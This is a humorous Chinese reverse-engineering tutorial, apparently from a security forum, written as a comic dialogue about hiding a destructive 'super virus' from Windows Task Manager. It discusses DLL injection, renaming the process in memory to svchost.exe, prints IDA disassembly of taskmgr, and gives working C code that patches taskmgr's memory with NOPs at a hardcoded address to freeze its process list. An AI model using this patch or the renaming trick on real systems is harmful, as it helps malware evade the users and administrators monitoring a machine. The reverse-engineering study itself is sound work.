和Taskmgr过不去篇(无厘头版)
程序逆向初步之一
Hook入门级文章,主要想培养一下偶写文章的感觉,老鸟无视…
我想看看技术文章能不能无厘头的写,如果效果不错的话,准备更上一层-----
用我的原创漫画表达。:)
(警告1:文章中有部分“限制级”词语,请11岁以下弟弟妹妹误入)
(警告2: 修正警告1,不是“误入”,是“勿入”哦,我没有做暗示哦…)
http://album.hi.csdn.net/app_uploads/mydo/20090630/174418687.p.JPG?d=20090630174540031正义的hopy – 加菲
http://album.hi.csdn.net/app_uploads/mydo/20090630/175033078.p.JPG?d=20090630175047515 邪恶的hopy – 阿宝
时间: 终结者2018年
场景: 地下泡泡澡堂
故事: 纯属虚构
在一场残酷的西红柿大战后,最终邪恶阿宝使用卑鄙无耻的招数轻松战胜了单纯
的加菲,于是哥俩一起去地下废墟澡堂泡澡。在沉默了一阵之后加菲忽然问了阿宝
一个恐怖的问题……
加菲:……你说我们俩身上的毛哪个值钱…
阿宝:%##$%@#$%#@%#@,你想钱想疯啦……
加菲:最近手头比较紧,有没有活接?
阿宝:嘿嘿……搞定一个任务,钞票大大滴。
加菲(口水状):什么呀?
阿宝:老比最近打麻将输我200多,赖账不肯还……
加菲:不会吧…人家是首富哦…
阿宝:没办法呀,windows赔老喽,我准备把他的命根子毁了……
加菲:你这个流氓,我不跟你玩了…
阿宝:什么啊!我指的是他的windows,你想哪去了…
加菲(迅速岔开话题):今天晚上太阳好亮哦…
阿宝(画外音):#@$%#@%,我们俩到底谁邪恶…
加菲:怎么毁呀?
阿宝:我搞了一个宇宙超级大病毒程序,只要运行30分钟保准他的命根子玩蛋!
只要30分钟内不被windows taskmgr发现…
加菲:你傻啊?人家不会用其他进程查看工具嘛?
阿宝:说你不懂了吧,老比乱搞垄断,windows和taskmgr捆死了,其他
进程工具没法运行呀,嘿嘿…自掘死路…
加菲:这还不简单,做个rootkit在内核层把病毒进程隐藏起来不就行了。
阿宝:进不去RING0,只能在用户层搞……,有没有其他办法…
加菲:你超级病毒都能写出来,这个不会写?????
阿宝(-_-b):少废话,你要不要钞票了…
加菲:这个…
一炷香的功夫过去了…
阿宝:你到底想好了没啊?
加菲:taskmgr显示进程信息的控件是SysListView32,我想可以截获显示每一行
的消息,然后忽略显示病毒进程的那一条消息…
阿宝:好啊…做一个dll植入taskmgr,然后SysListView32子类化到dll中的一个
消息处理函数,过滤特定进程的消息…
加菲:没成功…可以截获和过滤消息,但显示老是会多出来一行…(可能是我
实现方法有问题,请看我以前在看雪发布的程序)
阿宝:那怎么办啊?
加菲:要不然这样,做一个进程文本修改器,类似游戏修改器中的自动修改变量,
只不过这个变量是一个进程名,只要找到病毒进程名字的文本,就将成其他混淆视
听的名字(svchost.exe)。
阿宝:8错,查找时要注意同时修改UNICODE的字符串哦…
加菲:成功了,因为两个进程同时要写一个内容,所以极少数时间里可能会造成
病毒进程名漏出马脚…
阿宝:嗯…病毒名有时会闪一下…进程数还是增加了…能不能干脆彻底删除这个
进程名而不是将其改成其他名字呢?
加菲:这个…
阿宝(舔和路雪冰淇淋):搞得怎么样了,有什么新花样呢?
加菲:如果你的超级病毒运行之后,就不准taskmgr 运行起来,如果已经运行起来
就将其关掉…
阿宝:这个不行,太招人显眼了…
加菲:把taskmgr僵掉…
阿宝:你以为你是林正英啊???怎么僵呢???
加菲:我刚才没事用IDA玩了一下taskmgr的body,发现一个好玩的
UpdateProcInfoArray过程哦,上代码(省略无关部分):
public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near
mov eax, dword_1016580
.text:0100CAD5 shr eax, 0Ah
.text:0100CAD8 mov ecx, eax
.text:0100CADA imul ecx, [ebp+var_1FC]
.text:0100CAE1 mov [ebp+var_88], ecx
.text:0100CAE7 mov ecx, eax
.text:0100CAE9 imul ecx, [ebp+var_1F8]
.text:0100CAF0 mov edx, eax
.text:0100CAF2 imul edx, [ebp+var_1F0]
.text:0100CAF9 mov [ebp+var_74], ecx
.text:0100CAFC mov ecx, eax
.text:0100CAFE imul ecx, [ebp+var_1F4]
.text:0100CB05 mov [ebp+var_6C], edx
.text:0100CB08 mov edx, eax
.text:0100CB0A imul eax, [ebp+var_1B4]
.text:0100CB11 imul edx, [ebp+var_1B8]
.text:0100CB18 mov [ebp+var_7C], eax
.text:0100CB1B add eax, edx
.text:0100CB1D push edi
.text:0100CB1E mov [ebp+var_78], eax
.text:0100CB21 push 24h
.text:0100CB23 lea eax, [ebp+var_F0]
.text:0100CB29 push eax
.text:0100CB2A push 15h
.text:0100CB2C mov [ebp+var_70], ecx
.text:0100CB2F mov [ebp+var_80], edx
.text:0100CB32 mov __int64 g_MEMMax, ecx
.text:0100CB38 mov dword_1016564, edi
.text:0100CB3E call esi ; NtQuerySystemInformation(x,x,x,x)
.text:0100CB40 test eax, eax
.text:0100CB42 jge short loc_100CB4E
.text:0100CB42
.text:0100CB44
.text:0100CB44 loc_100CB44: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj
.text:0100CB44 ; CProcPage::UpdateProcInfoArray(void)+7Aj
.text:0100CB44 mov eax, 80004005h
.text:0100CB49 jmp loc_100CE7E
.text:0100CB49
.text:0100CB4E ; ---------------------------------------------------------------------------
.text:0100CB4E
.text:0100CB4E loc_100CB4E: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj
.text:0100CB4E mov eax, dword_1016580
.text:0100CB53 shr eax, 0Ah
.text:0100CB56 imul eax, [ebp+var_DC]
.text:0100CB5D mov ecx, ebx
.text:0100CB5F mov [ebp+var_84], eax
.text:0100CB65 call CProcPage::GetProcessInfo(void)
.text:0100CB65
.text:0100CB6A cmp eax, edi
.text:0100CB6C mov [ebp+var_58], eax
.text:0100CB6F jl loc_100CE64
.text:0100CB6F
.text:0100CB75 mov [ebp+var_48], edi
.text:0100CB75
.text:0100CB78
.text:0100CB78 loc_100CB78: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj
.text:0100CB78 mov esi, [ebx+10h]
.text:0100CB7B add esi, [ebp+var_48]
.text:0100CB7E mov eax, [esi+44h]
.text:0100CB81 cmp eax, edi
.text:0100CB83 jnz short loc_100CB8E
.text:0100CB83
.text:0100CB85 cmp [esi+4], edi
.text:0100CB88 jz loc_100CC1D
public: long __thiscall CProcPage::GetProcessInfo(void) proc near
.text:0100A6AF ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p
.text:0100A6AF
.text:0100A6AF var_4 = dword ptr -4
.text:0100A6AF
.text:0100A6AF mov edi, edi
.text:0100A6B1 push ebp
.text:0100A6B2 mov ebp, esp
.text:0100A6B4 push ecx
.text:0100A6B5 push ebx
.text:0100A6B6 push esi
.text:0100A6B7 xor ebx, ebx
.text:0100A6B9 push edi
.text:0100A6BA mov edi, ds:GetProcessHeap()
.text:0100A6C0 mov esi, ecx
.text:0100A6C2 mov [ebp+var_4], ebx
.text:0100A6C2
.text:0100A6C5
.text:0100A6C5 loc_100A6C5: ; CODE XREF: CProcPage::GetProcessInfo(void)+63j
.text:0100A6C5 mov eax, [esi+10h]
.text:0100A6C8 cmp eax, ebx
.text:0100A6CA jz short loc_100A6F9
.text:0100A6CA
.text:0100A6CC push ebx
.text:0100A6CD push dword ptr [esi+14h]
.text:0100A6D0 push eax
.text:0100A6D1 push 5
.text:0100A6D3 call ds:NtQuerySystemInformation(x,x,x,x)
.text:0100A6D9 cmp eax, ebx
.text:0100A6DB jge short loc_100A71B
.text:0100A6DB
.text:0100A6DD cmp eax, 0C0000004h
.text:0100A6E2 jnz short loc_100A723
.text:0100A6E2
.text:0100A6E4 mov eax, [esi+10h]
.text:0100A6E7 cmp eax, ebx
.text:0100A6E9 jz short loc_100A6F9
.text:0100A6E9
.text:0100A6EB push eax ; lpMem
.text:0100A6EC push ebx ; dwFlags
.text:0100A6ED call edi ; GetProcessHeap()
.text:0100A6EF push eax ; hHeap
.text:0100A6F0 call ds:HeapFree(x,x,x)
.text:0100A6F6 mov [esi+10h], ebx
.text:0100A6F6
.text:0100A6F9
.text:0100A6F9 loc_100A6F9: ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj
.text:0100A6F9 ; CProcPage::GetProcessInfo(void)+3Aj
.text:0100A6F9 add dword ptr [esi+14h], 1000h
.text:0100A700 push dword ptr [esi+14h] ; dwBytes
.text:0100A703 push ebx ; dwFlags
.text:0100A704 call edi ; GetProcessHeap()
.text:0100A706 push eax ; hHeap
.text:0100A707 call ds:HeapAlloc(x,x,x)
.text:0100A70D cmp eax, ebx
.text:0100A70F mov [esi+10h], eax
.text:0100A712 jnz short loc_100A6C5
.text:0100A712
.text:0100A714 mov [ebp+var_4], 8007000Eh
.text:0100A714
.text:0100A71B
.text:0100A71B loc_100A71B: ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj
.text:0100A71B ; CProcPage::GetProcessInfo(void)+7Bj
.text:0100A71B mov eax, [ebp+var_4]
.text:0100A71E pop edi
.text:0100A71F pop esi
.text:0100A720 pop ebx
.text:0100A721 leave
.text:0100A722 retn
#define MAGIC_ADDR 0x100cb65
static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};
bool stoptm(DWORD pid)
{
bool bSuccess = false;
HANDLE ph = 0;
if(!pid)
{
puts("taskmgr not run!");
goto QUIT;
}
ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(!ph)
{
puts("can't open taskmgr!");
goto QUIT;
}
byte fixbin[sizeof(VerFlag)];
if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
{
puts("read mem failed!");
goto QUIT;
}
if(memcmp(VerFlag,fixbin,sizeof(fixbin)))
{
puts("taskmgr isn't right ver!");
goto QUIT;
}
memset(fixbin,0x90,sizeof(fixbin));
if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
{
puts("write mem failed!");
goto QUIT;
}
bSuccess = true;
QUIT:
if(ph)
CloseHandle(ph);
return bSuccess;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课